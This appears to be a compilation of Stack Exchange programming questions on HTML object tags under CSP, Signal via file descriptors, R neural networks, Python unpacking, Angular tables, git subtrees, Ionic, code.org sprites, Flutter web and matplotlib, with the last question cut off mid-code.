问:
How to replace HTML content that is inside an Object tag
Well, I'm loading an html content on my page through the <object> tag.

At certain times, I need to change the document that is inside it for another one.

I know that this can be done by changing the data attribute of the <object> tag, which would be the case when changing the address of the HTML file and, consequently, a new one would be loaded, however, the new document is created through javascript, so it does not have a file address, since it was generated on the page and exists only on the page.

I also know that I could use the Payload method, which would be placing the HTML content directly in the data attribute of the object tag, but the Content-Securit-Policy prevents me from doing that, as it violates the CSP of object-src: 'none'.

Finally, I thought of using the replaceChild() method, which would replace the child element of the <object> tag (the HTML document) with my new document. Result? I can't access the object tag document, it's like it doesn't exist...

So how can I change the document that is inside the object


来源: stackexchange

问:
How to write a Signal message using command line?
I'm trying to write a message on the Signal app only using command lines.

What I think I need to do is : echo "Hello World" > &fd_of_Signal

In Linux there is a file like : '/proc/pid_of_app/fd/0' but I didn't find it on MacOs.

So I need to find the FD with the lsof command.

I used the command lsof -c Signal to get every opened Signal files.

I end up having lots of Signal files opened, with a lot of different FD (in FD column), from 0r to 41.

When I use the lsof command for another app (like Spotify), I have the exact same numbers in FD column.

My questions are : How can I differentiate which FD number should I use ? If they are similar for both apps, how can I make my command line understand that I want to use the fd for Signal and not Spotify ? In Linux, there is a file '/proc/pid_of_app/fd/0', is there something similar on MacOs ?

ContentLicense: CC BY-SA 4.0


Title: Predict multiple dependent variables in a neural network in R (caret, train, neuralnet): wrong model type for classification

Body:
I am using the function train() (from the caret package) to train a neural network coming from the package neuralnet.

Before running the training of the neural network, these are the data frames to work in the predict function and other elements that need to be included (as the activation function). Simply copy/paste the next code to prepare to run the training.

train_df <- structure(list(DC1 = c(4, 5, 6, 8, 11, 11, 11, 6, 8, 5, 9, 10,
6, 11, 15, 13, 17, 6, 7, 9, 9, 9, 10, 10, 13, 15), DC2 = c(10,
7, 11, 11, 12, 8, 10, 5, 8, 5, 9, 7, 6, 13, 16, 13, 16, 7, 8,
13, 12, 9, 13, 13, 15, 13), DC3 = c(9, 8, 10, 10, 9, 11, 9, 6,
9, 8, 9, 7, 7, 13, 14, 11, 9, 11, 12, 13, 12, 10, 12, 11, 11,
11), DC4 = c(12, 9, 11, 11, 8, 13, 12, 7, 9, 10, 8, 8, 10, 12,
12, 10, 10, 13, 11, 12, 11, 14, 14, 11, 13, 14), DC5 = c(14,
12, 9, 14, 10, 14, 13, 11, 10, 10, 10, 12, 14, 14, 12, 14, 16,
14, 12, 14, 11, 16, 15, 11, 19, 17), DC6 = c(10, 12, 10, 18,
11, 15, 16, 12, 12, 11, 13, 13, 14, 16, 19, 19, 22, 15, 14, 15,
14, 14, 16, 15, 20, 23), DC7 = c(20, 21, 12, 17, 15, 19, 17,
11, 16, 15, 17, 15, 15, 25, 22, 20, 18, 15, 13, 20, 20, 19, 24,
17, 29, 24), DC8 = c(21, 15, 20, 17, 21, 17, 19, 15, 21, 14,
20, 19, 15, 30, 26, 24, 22, 16, 19, 21, 32, 27, 23, 28, 33, 30
), DC9 = c(28, 26, 22, 17, 23, 16, 18, 18, 18, 22, 25, 25, 23,
32, 27, 32, 27, 22, 24, 22, 29, 33, 26, 21, 31, 30), DC10 = c(30,
33, 23, 43, 26, 30, 22, 34, 23, 23, 36, 37, 29, 29, 30, 50, 31,
25, 27, 23, 30, 36, 35, 38, 18, 33)), row.names = c(165L, 167L,
168L, 172L, 174L, 176L, 177L, 236L, 246L, 260L, 263L, 277L, 280L,
281L, 282L, 302L, 315L, 321L, 322L, 331L, 332L, 333L, 335L, 336L,
339L, 340L), class = "data.frame")

pre_mdl_df <- structure(list(dim = c(26L, 10L), bc = NULL, yj = NULL, et = NULL,
    invHyperbolicSine = NULL, mean = NULL, std = NULL, ranges = structure(c(4,
    17, 5, 16, 6, 14, 7, 14, 9, 19, 10, 23, 11, 29, 14, 33, 16,
    33, 18, 50), .Dim = c(2L, 10L), .Dimnames = list(NULL, c("DC1",
    "DC2", "DC3", "DC4", "DC5", "DC6", "DC7", "DC8", "DC9", "DC10"
    ))), rotation = NULL, method = list(range = c("DC1", "DC2",
    "DC3", "DC4", "DC5", "DC6", "DC7", "DC8", "DC9", "DC10"),
        ignore = character(0)), thresh = 0.95, pcaComp = NULL,
    numComp = NULL, ica = NULL, wildcards = list(PCA = character(0),
        ICA = character(0)), k = 5, knnSummary = function (x,
        ...)
    UseMethod("mean"), bagImp = NULL, median = NULL, data = NULL,
    rangeBounds = c(0, 1)), class = "preProcess")

softplus <- function(x) log(1+exp(x)) # activation function

tune.grid.neuralnet <- expand.grid(
  layer1 = c(1:5), # first hidden layer, from 1 to 5 neurons
  layer2 = c(0:5), # second hidden layer, from 0 to 5 neurons
  layer3 = c(0:5)  # third hidden layer, from 0 to 5 neurons
)

Now I run the training of the neural network:

model <- train(DC1 + DC2 + DC3 ~., data = predict(pre_mdl_df, train_df),
               method = "neuralnet",
               tuneGrid = tune.grid.neuralnet,
               metric = "RMSE",
               stepmax = 100000,
               learningrate = 0.01,
               threshold = 0.01,
               act.fct = softplus,
               trControl = caret::trainControl (
                 method = "repeatedcv",
                 number = 2,               # Number of folds of the cv
                 repeats = 1,              # Number of cv repetitions
                 verboseIter = TRUE,
                 savePredictions = TRUE,
                 allowParallel = TRUE))

It takes some time (around 1 min in my computer) but finally it results in creating the model.

Problem: Error: wrong model type for classification

However, based on this question in SO, in order to predict separating per dependent variables, I should use cbind() in the formula (in the next code I only changed the first line):

model <- train(cbind(DC1, DC2, DC3) ~., data = predict(pre_mdl_df, train_df),
               method = "neuralnet",
               tuneGrid = tune.grid.neuralnet,
               metric = "RMSE",
               stepmax = 100000,
               learningrate = 0.01,
               threshold = 0.01,
               act.fct = softplus,
               trControl = caret::trainControl (
                 method = "repeatedcv",
                 number = 2,               # Number of folds of the cv
                 repeats = 1,              # Number of cv repetitions
                 verboseIter = TRUE,
                 savePredictions = TRUE,
                 allowParallel = TRUE))

I get this error:

Error: wrong model type for classification

Where is the problem?

How can I replicate the process explained in the previous linked question with a neural network?


问:
What * does in python (besides being just multiplication sign)
I found such syntax:

```<code>dota_teams = ["Liquid", "Virtus.pro", "PSG.LGD", "Team Secret"]
data = [[1, 2, 1, 'x'],
['x', 1, 1, 'x'],
[1, 'x', 0, 1],
[2, 0, 2, 1]]
format_row = "{:>12}" * (len(dota_teams) + 1)
print(format_row.format("", *dota_teams))
for team, row in zip(dota_teams, data):
    print(format_row.format(team, *row))

</code>```

I don't understand fully what "*" does here. (In .format() argument before "dota_teams" or "row") .

What is it responsible for in this syntax?

Body:
I found such syntax:

dota_teams = ["Liquid", "Virtus.pro", "PSG.LGD", "Team Secret"]
data = [[1, 2, 1, 'x'],
['x', 1, 1, 'x'],
[1, 'x', 0, 1],
[2, 0, 2, 1]]
format_row = "{:>12}" * (len(dota_teams) + 1)
print(format_row.format("", *dota_teams))
for team, row in zip(dota_teams, data):
    print(format_row.format(team, *row))

I don't understand fully what "*" does here. (In .format() argument before "dota_teams" or "row") .

What is it responsible for in this syntax?


问:
how to make first td component not scrollable?
I have a mat card which contains a table after horizontal line as in the screen.
enter image description here

As you can see there are arrows allowing scrolling horizontally. You can see a text "Partcipant 1" and I don't manage to make him visible when scrolling. The rest of cells generated by loops should be scrollable

So this html allowing to display it (no full code I hope you will understand the idea) .

<mat-card>

   {{date.format('ddd DD')}}

    Participant 1

</mat-card>
```
<pre class="lang-css prettyprint-override"><code>
mat-card{
display:flex;
display-direction:column;
}

table {
  width: 100%;
  display: inline-block;
  overflow-x: scroll;

  th {
    padding: 0 0.5rem;
    font-weight: normal;

    &:first-child {
      text-align: left;
      padding: 0;
    }
  }

  td,th {
    min-height: 50px;
    max-height: 50px;
  }
</code>```

I tried to give Participant 1 position:fixed bit it sends the cell till the bottom of screen
but I want it to to stay at his place no matter what scrren.

Body:
I have a mat card which contains a table after horizontal line as in the screen.
enter image description here

As you can see there are arrows allowing scrolling horizontally. You can see a text "Partcipant 1" and I don't manage to make him visible when scrolling. The rest of cells generated by loops should be scrollable

So this html allowing to display it (no full code I hope you will understand the idea) .

<mat-card>

   {{date.format('ddd DD')}}

    Participant 1

</mat-card>

mat-card{
display:flex;
display-direction:column;
}

table {
  width: 100%;
  display: inline-block;
  overflow-x: scroll;

  th {
    padding: 0 0.5rem;
    font-weight: normal;

    &:first-child {
      text-align: left;
      padding: 0;
    }
  }

  td,th {
    min-height: 50px;
    max-height: 50px;
  }

I tried to give Participant 1 position:fixed bit it sends the cell till the bottom of screen
but I want it to to stay at his place no matter what scrren.


问:
Automatically include git subtree in pushes and pulls
Currently, I'm working with two repos - frontend and backend that need to share a couple of files. I have these files in a third repo called shared, with all of these repos stored on GitHub.

I have been looking into using git subtrees to share shared between the two repos. Currently, if I change a file in e.g. frontend/shared locally, I have to

push the changes to both the frontend and shared repos

make sure to directly pull these changes to backend using git subtree pull to sync the files

make sure to constantly check if there are changes in shared because executing git status in frontend or backend does not show these changes

This whole process seems quite tedious and error-prone, so I'm wondering if there is a way to automatically include the shared subtree in git pulls and pushes?

If it helps, I know that this will be the only subtree used in the project.

Alternatively, is there a way to "save" the shared GitHub URL (and main branch) so at the very least I don't have to copy and paste it each time I run

```<code>git subtree push --prefix=shared SHARED-GITHUB-URL main
</code>```

I'm not sure what the best way to do this is / haven't update git's config before, so any advice is greatly appreciated!

Body:
Currently, I'm working with two repos - frontend and backend that need to share a couple of files. I have these files in a third repo called shared, with all of these repos stored on GitHub.

I have been looking into using git subtrees to share shared between the two repos. Currently, if I change a file in e.g. frontend/shared locally, I have to

push the changes to both the frontend and shared repos

make sure to directly pull these changes to backend using git subtree pull to sync the files

make sure to constantly check if there are changes in shared because executing git status in frontend or backend does not show these changes

This whole process seems quite tedious and error-prone, so I'm wondering if there is a way to automatically include the shared subtree in git pulls and pushes?

If it helps, I know that this will be the only subtree used in the project.

Alternatively, is there a way to "save" the shared GitHub URL (and main branch) so at the very least I don't have to copy and paste it each time I run

git subtree push --prefix=shared SHARED-GITHUB-URL main

I'm not sure what the best way to do this is / haven't update git's config before, so any advice is greatly appreciated!


问:
Ionic capacitor run android -l [INFO] waiting for connectivity with ng
We tried to set up the development environment for a new developer but we came up to an unknown issue and because I did not find any help online, I am asking here for help.

The issue is that after the app got built successfully, it just continues to output:

[INFO] waiting for connectivity with ng

The thing is ionic cap build android, ionic serve etc. work fine only the livereload fails.

We cannot use the --external option.

```<code>Ionic:

   Ionic CLI : 6.19.0

Utility:

   cordova-res : 0.15.4
   native-run  : 1.7.1

System:

   NodeJS : v16.14.2
   npm    : 8.19.2
   OS     : Windows 10
</code>```

package.json:

```<code>{
  "name": "Barcode",
  "version": "0.0.1",
  "author": "Ionic Framework",
  "homepage": "https://ionicframework.com/",
  "scripts": {
    "ng": "ng",
    "start": "ng serve",
    "build": "ng build",
    "watch": "ng build --watch --configuration development",
    "test": "ng test",
    "lint": "ng lint"
  },
  "private": true,
  "dependencies": {
    "@angular/common": "^15.0.0",
    "@angular/core": "^15.0.0",
    "@angular/forms": "^15.0.0",
    "@angular/platform-browser": "^15.0.0",
    "@angular/platform-browser-dynamic": "^15.0.0",
    "@angular/router": "^15.0.0",
    "@capacitor/android": "4.6.1",
    "@capacitor/app": "4.1.1",
    "@capacitor/core": "4.6.1",
    "@capacitor/haptics": "4.1.0",
    "@capacitor/keyboard": "4.1.0",
    "@capacitor/status-bar": "4.1.1",
    "@ionic/angular": "^6.1.9",
    "ionicons": "^6.0.3",
    "rxjs": "~7.5.0",
    "tslib": "^2.3.0",
    "zone.js": "~0.11.4"
  },
  "devDependencies": {
    "@angular-devkit/build-angular": "^15.0.0",
    "@angular-eslint/builder": "^14.0.0",
    "@angular-eslint/eslint-plugin": "^14.0.0",
    "@angular-eslint/eslint-plugin-template": "^14.0.0",
    "@angular-eslint/template-parser": "^14.0.0",
    "@angular/cli": "^15.0.0",
    "@angular/compiler": "^15.0.0",
    "@angular/compiler-cli": "^15.0.0",
    "@angular/language-service": "^15.0.0",
    "@capacitor/cli": "4.6.1",
    "@ionic/angular-toolkit": "^6.0.0",
    "@types/jasmine": "~4.0.0",
    "@types/node": "^12.11.1",
    "@typescript-eslint/eslint-plugin": "5.3.0",
    "@typescript-eslint/parser": "5.3.0",
    "eslint": "^7.6.0",
    "eslint-plugin-import": "2.22.1",
    "eslint-plugin-jsdoc": "30.7.6",
    "eslint-plugin-prefer-arrow": "1.2.2",
    "jasmine-core": "~4.3.0",
    "jasmine-spec-reporter": "~5.0.0",
    "karma": "~6.4.0",
    "karma-chrome-launcher": "~3.1.0",
    "karma-coverage": "~2.2.0",
    "karma-coverage-istanbul-reporter": "~3.0.2",
    "karma-jasmine": "~5.1.0",
    "karma-jasmine-html-reporter": "~2.0.0",
    "ts-node": "~8.3.0",
    "typescript": "~4.8.4"
  },
  "description": "An Ionic project"
}
</code>```

Edit: Is it possible that this error occurs because native-run was installed later on?.

Body:
We tried to set up the development environment for a new developer but we came up to an unknown issue and because I did not find any help online, I am asking here for help.

The issue is that after the app got built successfully, it just continues to output:

[INFO] waiting for connectivity with ng

The thing is ionic cap build android, ionic serve etc. work fine only the livereload fails.

We cannot use the --external option.

Ionic:

   Ionic CLI : 6.19.0

Utility:

   cordova-res : 0.15.4
   native-run  : 1.7.1

System:

   NodeJS : v16.14.2
   npm    : 8.19.2
   OS     : Windows 10

package.json:

{
  "name": "Barcode",
  "version": "0.0.1",
  "author": "Ionic Framework",
  "homepage": "https://ionicframework.com/",
  "scripts": {
    "ng": "ng",
    "start": "ng serve",
    "build": "ng build",
    "watch": "ng build --watch --configuration development",
    "test": "ng test",
    "lint": "ng lint"
  },
  "private": true,
  "dependencies": {
    "@angular/common": "^15.0.0",
    "@angular/core": "^15.0.0",
    "@angular/forms": "^15.0.0",
    "@angular/platform-browser": "^15.0.0",
    "@angular/platform-browser-dynamic": "^15.0.0",
    "@angular/router": "^15.0.0",
    "@capacitor/android": "4.6.1",
    "@capacitor/app": "4.1.1",
    "@capacitor/core": "4.6.1",
    "@capacitor/haptics": "4.1.0",
    "@capacitor/keyboard": "4.1.0",
    "@capacitor/status-bar": "4.1.1",
    "@ionic/angular": "^6.1.9",
    "ionicons": "^6.0.3",
    "rxjs": "~7.5.0",
    "tslib": "^2.3.0",
    "zone.js": "~0.11.4"
  },
  "devDependencies": {
    "@angular-devkit/build-angular": "^15.0.0",
    "@angular-eslint/builder": "^14.0.0",
    "@angular-eslint/eslint-plugin": "^14.0.0",
    "@angular-eslint/eslint-plugin-template": "^14.0.0",
    "@angular-eslint/template-parser": "^14.0.0",
    "@angular/cli": "^15.0.0",
    "@angular/compiler": "^15.0.0",
    "@angular/compiler-cli": "^15.0.0",
    "@angular/language-service": "^15.0.0",
    "@capacitor/cli": "4.6.1",
    "@ionic/angular-toolkit": "^6.0.0",
    "@types/jasmine": "~4.0.0",
    "@types/node": "^12.11.1",
    "@typescript-eslint/eslint-plugin": "5.3.0",
    "@typescript-eslint/parser": "5.3.0",
    "eslint": "^7.6.0",
    "eslint-plugin-import": "2.22.1",
    "eslint-plugin-jsdoc": "30.7.6",
    "eslint-plugin-prefer-arrow": "1.2.2",
    "jasmine-core": "~4.3.0",
    "jasmine-spec-reporter": "~5.0.0",
    "karma": "~6.4.0",
    "karma-chrome-launcher": "~3.1.0",
    "karma-coverage": "~2.2.0",
    "karma-coverage-istanbul-reporter": "~3.0.2",
    "karma-jasmine": "~5.1.0",
    "karma-jasmine-html-reporter": "~2.0.0",
    "ts-node": "~8.3.0",
    "typescript": "~4.8.4"
  },
  "description": "An Ionic project"
}

Edit: Is it possible that this error occurs because native-run was installed later on?.


问:
Blue sprite breaks when a coin flip is in its favor
My coin flip for a project in code.org doesnt work,
when the red sprite gets heads, it works. However, when the coin is in the blue sprites favor, it dosent destory the red sprite. I have the whole code here, the coin flip is at the bottom of

```<code>draw()
</code>```

here is all the code i have to offer:

```<code>// call vars
var blu = createSprite(100,170);
blu.setAnimation("playerSP");
blu.x = 100;
blu.y = 170;
blu.tint = "blue";

var red = createSprite(328,178);
red.setAnimation("playerSP");
red.x = 328;
red.y = 178;
red.tint = "red";

var wall = createSprite(200,200);

var coin = randomNumber(0,1);

// logs the coin flip
// 1 = heads
// 0 = tails
console.log(coin);

//draw() is exclusive for code.org, its just loops code

function draw() {
  background("white");

  // WASD configurations for blue.
  if(keyDown("w") === true) {
    blu.y = blu.y  - 2;
    //console.log("'W' pressed");
  }
  if(keyDown("a") === true) {
    blu.x = blu.x - 2;
    //console.log("'A' pressed");
  }
  if(keyDown("s") === true) {
    blu.y = blu.y + 2;
   // console.log("'S' pressed");
  }
  if(keyDown("d") === true) {
    blu.x = blu.x + 2;
  //  console.log("'D' pressed");
  }

  // I have no idea why i added arrow and wasd config for both users.
    // arrow configurations for blue.
  /*if(keyDown("up") === true) {
    blu.y = blu.y  - 2;
  }
  if(keyDown("left") === true) {
    blu.x = blu.x - 2;
  }
  if(keyDown("down") === true) {
    blu.y = blu.y + 2;
  }
  if(keyDown("right") === true) {
    blu.x = blu.x + 2;
  }*/

    // WASD configurations for red.
  /*if(keyDown("w") === true) {
    red.y = red.y  - 2;
  }
  if(keyDown("a") === true) {
    red.x = red.x - 2;
  }
  if(keyDown("s") === true) {
    red.y = red + 2;
  }
  if(keyDown("d") === true) {
    red.x = red.x + 2;
  }*/
    // arrow configurations for red.
  if(keyDown("up") === true) {
    red.y = red.y  - 2;
//    console.log("'UP_ARROW' pressed");
  }
  if(keyDown("left") === true) {
    red.x = red.x - 2;
//    console.log("'LEFT_ARROW' pressed");
  }
  if(keyDown("down") === true) {
    red.y = red.y + 2;
    //console.log("'DOWN_ARROW' pressed");
  }
  if(keyDown("right") === true) {
    red.x = red.x + 2;
    //console.log("'RIGHT_ARROW' pressed");
  }

  // check for collides
  if(red.x === 400) {
    red.x = 200;
    red.y = 200;
  }
  if(red.y === 400) {
    red.x = 200;
    red.y = 200;
  }
  if(red.x === 0) {
    red.x = 200;
    red.y = 200;
  }
  if(red.y === 0) {
    red.x = 200;
    red.y = 200;
  }

  if(blu.x === 400) {
    blu.x = 200;
    blu.y = 200;
  }
  if(blu.y === 400) {
    blu.x = 200;
    blu.y = 200;
  }
  if(blu.x === 0) {
    blu.x = 200;
    blu.y = 200;
  }
  if(blu.y === 0) {
    blu.x = 200;
    blu.y = 200;
  }

  // coin flip
   //TODO: turn into a elseif statement
   if(coin === 1) {
     if(red.isTouching(blu)) {
    blu.destroy();
    console.log("red wins!");
     }
     else if(coin === 0) {
      if(blu.isTouching(red)) {
      red.destroy();
      console.log("blu wins!");
     }
   }
  }
      drawSprites();
  }// <---- dont touch

  /*if(blu.isTouching(red)) {
    red.alpha = 0;
    console.log("blu wins!");
  }*/

   if(blu.isTouching(wall)) {
    blu.x = blu.x - 2;
  }

</code>```

Thank you.

What I wanted:
For blue sprite to get tagger.
What happend:
The blue collision broke.

Body:
My coin flip for a project in code.org doesnt work,
when the red sprite gets heads, it works. However, when the coin is in the blue sprites favor, it dosent destory the red sprite. I have the whole code here, the coin flip is at the bottom of

draw()

here is all the code i have to offer:

// call vars
var blu = createSprite(100,170);
blu.setAnimation("playerSP");
blu.x = 100;
blu.y = 170;
blu.tint = "blue";

var red = createSprite(328,178);
red.setAnimation("playerSP");
red.x = 328;
red.y = 178;
red.tint = "red";

var wall = createSprite(200,200);

var coin = randomNumber(0,1);

// logs the coin flip
// 1 = heads
// 0 = tails
console.log(coin);

//draw() is exclusive for code.org, its just loops code

function draw() {
  background("white");

  // WASD configurations for blue.
  if(keyDown("w") === true) {
    blu.y = blu.y  - 2;
    //console.log("'W' pressed");
  }
  if(keyDown("a") === true) {
    blu.x = blu.x - 2;
    //console.log("'A' pressed");
  }
  if(keyDown("s") === true) {
    blu.y = blu.y + 2;
   // console.log("'S' pressed");
  }
  if(keyDown("d") === true) {
    blu.x = blu.x + 2;
  //  console.log("'D' pressed");
  }

  // I have no idea why i added arrow and wasd config for both users.
    // arrow configurations for blue.
  /*if(keyDown("up") === true) {
    blu.y = blu.y  - 2;
  }
  if(keyDown("left") === true) {
    blu.x = blu.x - 2;
  }
  if(keyDown("down") === true) {
    blu.y = blu.y + 2;
  }
  if(keyDown("right") === true) {
    blu.x = blu.x + 2;
  }*/

    // WASD configurations for red.
  /*if(keyDown("w") === true) {
    red.y = red.y  - 2;
  }
  if(keyDown("a") === true) {
    red.x = red.x - 2;
  }
  if(keyDown("s") === true) {
    red.y = red + 2;
  }
  if(keyDown("d") === true) {
    red.x = red.x + 2;
  }*/
    // arrow configurations for red.
  if(keyDown("up") === true) {
    red.y = red.y  - 2;
//    console.log("'UP_ARROW' pressed");
  }
  if(keyDown("left") === true) {
    red.x = red.x - 2;
//    console.log("'LEFT_ARROW' pressed");
  }
  if(keyDown("down") === true) {
    red.y = red.y + 2;
    //console.log("'DOWN_ARROW' pressed");
  }
  if(keyDown("right") === true) {
    red.x = red.x + 2;
    //console.log("'RIGHT_ARROW' pressed");
  }

  // check for collides
  if(red.x === 400) {
    red.x = 200;
    red.y = 200;
  }
  if(red.y === 400) {
    red.x = 200;
    red.y = 200;
  }
  if(red.x === 0) {
    red.x = 200;
    red.y = 200;
  }
  if(red.y === 0) {
    red.x = 200;
    red.y = 200;
  }

  if(blu.x === 400) {
    blu.x = 200;
    blu.y = 200;
  }
  if(blu.y === 400) {
    blu.x = 200;
    blu.y = 200;
  }
  if(blu.x === 0) {
    blu.x = 200;
    blu.y = 200;
  }
  if(blu.y === 0) {
    blu.x = 200;
    blu.y = 200;
  }

  // coin flip
   //TODO: turn into a elseif statement
   if(coin === 1) {
     if(red.isTouching(blu)) {
    blu.destroy();
    console.log("red wins!");
     }
     else if(coin === 0) {
      if(blu.isTouching(red)) {
      red.destroy();
      console.log("blu wins!");
     }
   }
  }
      drawSprites();
  }// <---- dont touch

  /*if(blu.isTouching(red)) {
    red.alpha = 0;
    console.log("blu wins!");
  }*/

   if(blu.isTouching(wall)) {
    blu.x = blu.x - 2;
  }

Thank you.

What I wanted:
For blue sprite to get tagger.
What happend:
The blue collision broke.


问:
Trying to Build Flutter App for Web - Assertion Failed
I have a flutter app that I am able to build and deploy for iOS.   I am now trying to deploy the app to web.  I get this output when i run flutter run -d chrome.

 An Observatory debugger and profiler on Chrome is available at: http://127.0.0.1:57467/aZJsqevPPFQ= Flutter Web Bootstrap: Auto The Flutter DevTools debugger and profiler on Chrome is available at: http://127.0.0.1:9100?uri=http://127.0.0.1:57467/aZJsqevPPFQ= Error: Assertion failed: file:/Documents/Development/flutter/.pub-cache/hosted/pub.da rtlang.org/firebase_core_web-1.6.2/lib/src/firebase_core_web.dart:273:11 dart-sdk/lib/internal/js_dev_runtime/private/ddc_runtime/errors.dart 266:49 throw dart-sdk/lib/_internal/js_dev_runtime/private/ddc_runtime/errors.dart 29:3 assertFailed packages/firebase_core_web/src/firebase_core_web.dart 273:18 initializeApp dart-sdk/lib/_internal/js_dev_runtime/patch/async_patch.dart 45:50  dart-sdk/lib/async/zone.dart 1653:54 runUnary dart-sdk/lib/async/future_impl.dart 147:18 handleValue dart-sdk/lib/async/future_impl.dart 766:44 handleValueCallback dart-sdk/lib/async/future_impl.dart 795:13 _propagateToListeners dart-sdk/lib/async/future_impl.dart 566:5 [_completeWithValue] dart-sdk/lib/async/future_impl.dart 639:7 callback dart-sdk/lib/async/schedule_microtask.dart 40:11 _microtaskLoop dart-sdk/lib/async/schedule_microtask.dart 49:5 _startMicrotaskLoop dart-sdk/lib/_internal/js_dev_runtime/patch/async_patch.dart 166:15 ``

Also:  here is my flutter doctor output:

`

```<code>[✓] Flutter (Channel stable, 3.3.6, on macOS 12.1 21C52 darwin-x64, locale
    en-CA)
[!] Android toolchain - develop for Android devices (Android SDK version 32.0.0)
    ✗ cmdline-tools component is missing
      Run `path/to/sdkmanager --install "cmdline-tools;latest"`
      See https://developer.android.com/studio/command-line for more details.
    ✗ Android license status unknown.
      Run `flutter doctor --android-licenses` to accept the SDK licenses.
      See https://flutter.dev/docs/get-started/install/macos#android-setup for
      more details.
[✓] Xcode - develop for iOS and macOS (Xcode 13.4)
[✓] Chrome - develop for the web
[✓] Android Studio (version 2020.3)
[✓] VS Code (version 1.73.1)
Scanning for devices is taking a long time...[✓] Connected device (2 available)
[✓] HTTP Host Availability
</code>```

`

Any direction here would be very helpful.  Thanks

Was hoping to app would load in the Chrome browser.

Body:
I have a flutter app that I am able to build and deploy for iOS.   I am now trying to deploy the app to web.  I get this output when i run flutter run -d chrome.

 An Observatory debugger and profiler on Chrome is available at: http://127.0.0.1:57467/aZJsqevPPFQ= Flutter Web Bootstrap: Auto The Flutter DevTools debugger and profiler on Chrome is available at: http://127.0.0.1:9100?uri=http://127.0.0.1:57467/aZJsqevPPFQ= Error: Assertion failed: file:/Documents/Development/flutter/.pub-cache/hosted/pub.da rtlang.org/firebase_core_web-1.6.2/lib/src/firebase_core_web.dart:273:11 dart-sdk/lib/internal/js_dev_runtime/private/ddc_runtime/errors.dart 266:49 throw dart-sdk/lib/_internal/js_dev_runtime/private/ddc_runtime/errors.dart 29:3 assertFailed packages/firebase_core_web/src/firebase_core_web.dart 273:18 initializeApp dart-sdk/lib/_internal/js_dev_runtime/patch/async_patch.dart 45:50  dart-sdk/lib/async/zone.dart 1653:54 runUnary dart-sdk/lib/async/future_impl.dart 147:18 handleValue dart-sdk/lib/async/future_impl.dart 766:44 handleValueCallback dart-sdk/lib/async/future_impl.dart 795:13 _propagateToListeners dart-sdk/lib/async/future_impl.dart 566:5 [_completeWithValue] dart-sdk/lib/async/future_impl.dart 639:7 callback dart-sdk/lib/async/schedule_microtask.dart 40:11 _microtaskLoop dart-sdk/lib/async/schedule_microtask.dart 49:5 _startMicrotaskLoop dart-sdk/lib/_internal/js_dev_runtime/patch/async_patch.dart 166:15 ``

Also:  here is my flutter doctor output:

`

[✓] Flutter (Channel stable, 3.3.6, on macOS 12.1 21C52 darwin-x64, locale
    en-CA)
[!] Android toolchain - develop for Android devices (Android SDK version 32.0.0)
    ✗ cmdline-tools component is missing
      Run `path/to/sdkmanager --install "cmdline-tools;latest"`
      See https://developer.android.com/studio/command-line for more details.
    ✗ Android license status unknown.
      Run `flutter doctor --android-licenses` to accept the SDK licenses.
      See https://flutter.dev/docs/get-started/install/macos#android-setup for
      more details.
[✓] Xcode - develop for iOS and macOS (Xcode 13.4)
[✓] Chrome - develop for the web
[✓] Android Studio (version 2020.3)
[✓] VS Code (version 1.73.1)
Scanning for devices is taking a long time...[✓] Connected device (2 available)
[✓] HTTP Host Availability

`

Any direction here would be very helpful.  Thanks

Was hoping to app would load in the Chrome browser.


问:
matplotlib.units.ConversionError: Failed to convert value(s) to axis units:
I would like to display two courses in a GUI that are displayed again after each button click. Now comes the following error message:

matplotlib.units.ConversionError: Failed to convert value(s) to axis units: ['06:15', '14:19']

Here is a small snippet of the code:

```<code>from tkinter import *
import matplotlib.pyplot as plt
from matplotlib.figure import Figure
from matplotlib.backends.backend_tkagg import(FigureCanvasTkAgg, NavigationToolbar2Tk)

fig = Figure(figsize=(6,4), dpi=100)

canvas = FigureCanvasTkAgg(fig, master=tkFenster)
canvas.draw()

canvas.get_tk_widget().pack(side=tkinter.BOTTOM)

toolbar = NavigationToolbar2Tk(canvas, tkFenster)
toolbar.update()

canvas.get_tk_widget().pack(side=tkinter.LEFT, expand = 1)

# Subplot
plot1 = fig.add_subplot(111)

line1 = plot1.plot([], [], color="b", marker="o", label="line1")[0]
line2 = plot1.plot([], [], color="r", marker="o", label="line2")[0]

plot1.legend(loc="lower right")
plot1.grid()

plot1.set_ylim(bottom=0)
plot1.set_xlim(left=0)

def graph():

    value = float(entry_value.get())
    x = int(entry_x.get())
    c = int(entry_ic.get())
    start = str(entry_start.get())

    # List 1
    line_time_x = [start]
    line_y = [0,x]

    # List 2
    line2_time_x = []
    line2_y = []

    from datetime import datetime, timedelta

    # Hours
    h = (x-c)/(value*60)
    h_int = int(h)

    # Minutes
    min2 = (h - h_int)*60
    min_int = int(min2)

    start_dt = datetime.strptime(start,"%H:%M")

    import datetime

    start_h = start_dt.hour
    start_min = start_dt.minute

    time1 = timedelta(hours=start_h, minutes=start_min)
    time2 = timedelta(hours=h_int, minutes=min_int)

    import datetime

    end = time1 + time2
    end_str = str(end)
    end3 = end_str[0:5]

    line_time_x.append(end3)

    #--------------------------------

    with open("testdataTIME1.csv", "r") as filedata:
        lines = csv.reader(filedata, delimiter=",")
        for row in lines:
            line2_time_x.append(row[0])
            line2_y.append(int(row[1]))

    # Update the data in the existing plots
    line1.set_xdata(line_time_x)
    line1.set_ydata(line_y)

    line2.set_xdata(line2_time_x)
    line2.set_ydata(line2_y)

    # Redraw the canvas to reflect the changes
    canvas.draw()
</code>```

Another question is it better to automatically update the diagram with the matplotlib animation function or to redraw the history again and again

Thanks in advance!

Body:
I would like to display two courses in a GUI that are displayed again after each button click. Now comes the following error message:

matplotlib.units.ConversionError: Failed to convert value(s) to axis units: ['06:15', '14:19']

Here is a small snippet of the code:

from tkinter import *
import matplotlib.pyplot as plt
from matplotlib.figure import Figure
from matplotlib.backends.backend_tkagg import(FigureCanvasTkAgg, NavigationToolbar2Tk)

fig = Figure(figsize=(6,4), dpi=100)

canvas = FigureCanvasTkAgg(fig, master=tkFenster)
canvas.draw()

canvas.get_tk_widget().pack(side=tkinter.BOTTOM)

toolbar = NavigationToolbar2Tk(canvas, tkFenster)
toolbar.update()

canvas.get_tk_widget().pack(side=tkinter.LEFT, expand = 1)

# Subplot
plot1 = fig.add_subplot(111)

line1 = plot1.plot([], [], color="b", marker="o", label="line1")[0]
line2 = plot1.plot([], [], color="r", marker="o", label="line2")[0]

plot1.legend(loc="lower right")
plot1.grid()

plot1.set_ylim(bottom=0)
plot1.set_xlim(left=0)

def graph():

    value = float(entry_value.get())
    x = int(entry_x.get())
